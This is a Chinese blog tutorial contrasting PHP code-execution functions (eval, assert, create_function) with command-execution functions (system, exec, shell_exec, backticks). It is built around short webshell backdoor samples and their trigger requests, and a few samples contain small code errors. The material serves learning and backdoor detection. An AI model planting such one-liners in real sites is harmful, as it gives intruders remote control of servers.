zoukankan      html  css  js  c++  java
  • PHP后门的eval类和system类 函数到底有哪些区别

    一、

      一直以来对PHP的eval这一类函数和system这一类存在疑惑的地方,今天彻底研究了一下,写查PHP一句话的时候可以更有把握一些。其实都是一些满基础的知识,大佬别喷。干安全的基础很重要。

    二、PHP的eval类型函数,一句话:代码执行而不是命令执行。(菜刀用这类)

    1、简单类

     1 //#1-eval
     2 <?php
     3     eval($_POST["cmd"])
     4 ?>
     5 //post:cmd=phpinfo();
     6 
     7 
     8 //#2-assert
     9 <?php
    10     assert($_POST["cmd"])
    11 ?>
    12 //post:cmd=phpinfo();
    13 
    14 
    15 //#3-call_user_func
    16 <?php
    17     call_user_func($_POST["fun"],$_POST["para"])
    18 ?>
    19 //post:fun=assert&para=phpinfo();

    2、复杂类

     1 //#1-create_function
     2 <?php 
     3     $a= $_POST['func'];
     4     $b = create_function('$a',"echo $a");
     5     $b('');
     6 ?>
     7 //post:func=phpinfo();
     8 
     9 
    10 //#2-array_map------->这个不懂先记下来
    11 <?php
    12     $array = array(0,1,2,3,4,5);
    13     array_map($_GET['func'],$array);
    14 ?>
    15 //post:func=phpinfo

    三、PHP的system类型函数,一句话:命令执行而不是代码执行。

     1 //#1-system
     2 <?php system($_POST["cmd"]);?>
     3 
     4 //#2-passthru
     5 <?php passthru($_POST["cmd"]);?>
     6 
     7 //#3-exec
     8 <?php echo exec($_POST["cmd"]);?>
     9 
    10 //#4-pcntl_exec
    11 <?php 
    12     pcntl_exec("/bin/bash",array($_POST["cmd"]));
    13 ?>
    14 
    15 //#5-shell_exec
    16 <?php echo shell_exec($_POST["cmd"]); ?>
    17 
    18 //#6-popen()/proc_popen()
    19 <?php $handle = popen("/bin/ls","r");?>
    20 
    21 //#7-``
    22 <?php echo `whoami`?>

     高深一点的:

    1 <?php
    2 $cmd = 'system';
    3 ob_start($cmd)
    4 echo "$_GET[a]";
    5 ob_end_flush();
    6 ?>//?a=whoami
  • 相关阅读:
    利用Turtle绘制各种图形
    turtle库元素语法分析
    python中input()函数与print()函数
    python代码编写规范
    如何将python下载源地址修改为国内镜像源
    探秘AutoCAD中的组
    ObjectARX开发教程(转)——第2课:AutoCAD数据库
    ObjectARX开发教程(转)——第1课:概述
    探秘AutoCAD中的标注关联
    AutoCAD快速开发框架之日志Logging
  • 原文地址:https://www.cnblogs.com/KevinGeorge/p/8127054.html
Copyright © 2011-2022 走看看